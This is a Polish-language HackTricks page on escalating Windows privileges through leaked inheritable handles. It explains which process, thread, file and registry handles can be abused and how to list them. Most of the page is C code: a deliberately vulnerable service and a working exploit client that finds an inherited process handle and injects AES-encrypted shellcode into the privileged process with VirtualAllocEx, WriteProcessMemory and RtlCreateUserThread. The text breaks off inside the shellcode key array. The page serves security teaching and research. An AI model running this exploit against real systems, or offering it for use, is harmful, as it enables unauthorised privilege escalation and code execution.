Leaked Handle Exploitation

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wprowadzenie

Uchwyty w procesie pozwalają na dostęp do różnych zasobów systemu Windows:

Wiele przypadków eskalacji uprawnień już miało miejsce, gdzie uprzywilejowany proces z otwartymi i dziedziczalnymi uchwytami uruchomił nieuprzywilejowany proces, umożliwiając mu dostęp do wszystkich tych uchwytów.

Na przykład, wyobraź sobie, że proces działający jako SYSTEM otwiera nowy proces (OpenProcess()) z pełnym dostępem. Ten sam proces tworzy również nowy proces (CreateProcess()) z niskimi uprawnieniami, ale dziedzicząc wszystkie otwarte uchwyty głównego procesu. Następnie, jeśli masz pełny dostęp do procesu o niskich uprawnieniach, możesz przechwycić otwarty uchwyt do utworzonego uprzywilejowanego procesu za pomocą OpenProcess() i wstrzyknąć shellcode.

Interesujące uchwyty

Proces

Jak czytałeś w przykładowym przypadku, jeśli nieuprzywilejowany proces dziedziczy uchwyt procesu z uprzywilejowanego procesu z wystarczającymi uprawnieniami, będzie mógł wykonać na nim kod dowolny.

W tym doskonałym artykule możesz zobaczyć, jak wykorzystać dowolny uchwyt procesu posiadający jedne z następujących uprawnień:

  • PROCESS_ALL_ACCESS

  • PROCESS_CREATE_PROCESS

  • PROCESS_CREATE_THREAD

  • PROCESS_DUP_HANDLE

  • PROCESS_VM_WRITE

Wątek

Podobnie jak w przypadku uchwytów procesów, jeśli nieuprzywilejowany proces dziedziczy uchwyt wątku z uprzywilejowanego procesu z wystarczającymi uprawnieniami, będzie mógł wykonać na nim kod dowolny.

W tym doskonałym artykule możesz również zobaczyć, jak wykorzystać dowolny uchwyt wątku posiadający jedne z następujących uprawnień:

  • THREAD_ALL_ACCESS

  • THREAD_DIRECT_IMPERSONATION

  • THREAD_SET_CONTEXT

Uchwyty plików, kluczy i sekcji

Jeśli nieuprzywilejowany proces dziedziczy uchwyt z uprawnieniami do zapisu nad uprzywilejowanym plikiem lub rejestrze, będzie mógł nadpisać plik/rejestr (i z dużym szczęściem, eskalować uprawnienia).

Uchwyty sekcji są podobne do uchwytów plików, wspólna nazwa tego rodzaju obiektów to "Mapowanie pliku". Służą one do pracy z dużymi plikami bez przechowywania całego pliku w pamięci. To sprawia, że eksploatacja jest "podobna" do eksploatacji uchwytu pliku.

Jak zobaczyć uchwyty procesów

Process Hacker

Process Hacker to narzędzie, które można pobrać za darmo. Posiada kilka niesamowitych opcji do inspekcji procesów, a jedną z nich jest możliwość zobaczenia uchwytów każdego procesu.

Zauważ, że aby zobaczyć wszystkie uchwyty wszystkich procesów, wymagane jest uprawnienie SeDebugPrivilege (dlatego musisz uruchomić Process Hacker jako administrator).

Aby zobaczyć uchwyty procesu, kliknij prawym przyciskiem myszy na procesie i wybierz Uchwyty:

Następnie kliknij prawym przyciskiem myszy na uchwycie i sprawdź uprawnienia:

Uchwyty Sysinternals

Uchwyty binarne od Sysinternals również wyświetlą uchwyty na proces w konsoli:

LeakedHandlesFinder

To narzędzie pozwala monitorować wycieki uchwytów i nawet automatycznie je wykorzystywać do eskalacji uprawnień.

Metodologia

Teraz, gdy wiesz, jak znaleźć uchwyty procesów, musisz sprawdzić, czy jakikolwiek nieuprzywilejowany proces ma dostęp do uprzywilejowanych uchwytów. W takim przypadku użytkownik procesu mógłby uzyskać uchwyt i nadużyć go do eskalacji uprawnień.

Wcześniej wspomniano, że potrzebujesz uprawnienia SeDebugPrivilege, aby uzyskać dostęp do wszystkich uchwytów. Ale użytkownik nadal może uzyskać dostęp do uchwytów swoich procesów, więc może być przydatne, jeśli chcesz uzyskać podwyższenie uprawnień tylko z tego użytkownika, aby uruchomić narzędzia z uprawnieniami regularnego użytkownika.

handle64.exe /a | findstr /r /i "process thread file key pid:"

Podatny przykład

Na przykład poniższy kod należy do usługi systemu Windows, która byłaby podatna. Podatny kod tego binarnego pliku usługi znajduje się w funkcji Exploit. Ta funkcja zaczyna tworzyć nowy proces uchwytu z pełnym dostępem. Następnie tworzy proces o niskich uprawnieniach (poprzez skopiowanie niskiego uprawnienia tokena explorer.exe) wykonując C:\users\username\desktop\client.exe. Podatność polega na tym, że tworzy proces o niskich uprawnieniach z bInheritHandles ustawionym na TRUE.

W związku z tym ten proces o niskich uprawnieniach jest w stanie przejąć uchwyt procesu o wysokich uprawnieniach utworzony najpierw, wstrzyknąć i wykonać kod powłoki (patrz następny rozdział).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

Przykład Wykorzystania

W rzeczywistym scenariuszu prawdopodobnie nie będziesz w stanie kontrolować binariów, które zostaną wykonane przez podatny kod (C:\users\username\desktop\client.exe w tym przypadku). Prawdopodobnie zakłócisz proces i będziesz musiał sprawdzić, czy masz dostęp do jakiegokolwiek podatnego uchwytu jakiegokolwiek uprzywilejowanego procesu.

W tym przykładzie znajdziesz kod możliwego exploitu dla C:\users\username\desktop\client.exe. Najbardziej interesująca część tego kodu znajduje się w GetVulnProcHandle. Ta funkcja zacznie pobierać wszystkie uchwyty, następnie sprawdzi, czy którykolwiek z nich należy do tego samego PID i czy uchwyt należy do procesu. Jeśli wszystkie te wymagania są spełnione (znaleziono dostępny otwarty uchwyt procesu), spróbuje wstrzyknąć i wykonać shellcode, nadużywając uchwytu procesu. Wstrzyknięcie shellcode'u odbywa się wewnątrz funkcji Inject i po prostu zapisze shellcode wewnątrz uprzywilejowanego procesu i utworzy w tym samym procesie wątek do wykonania shellcode'u.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d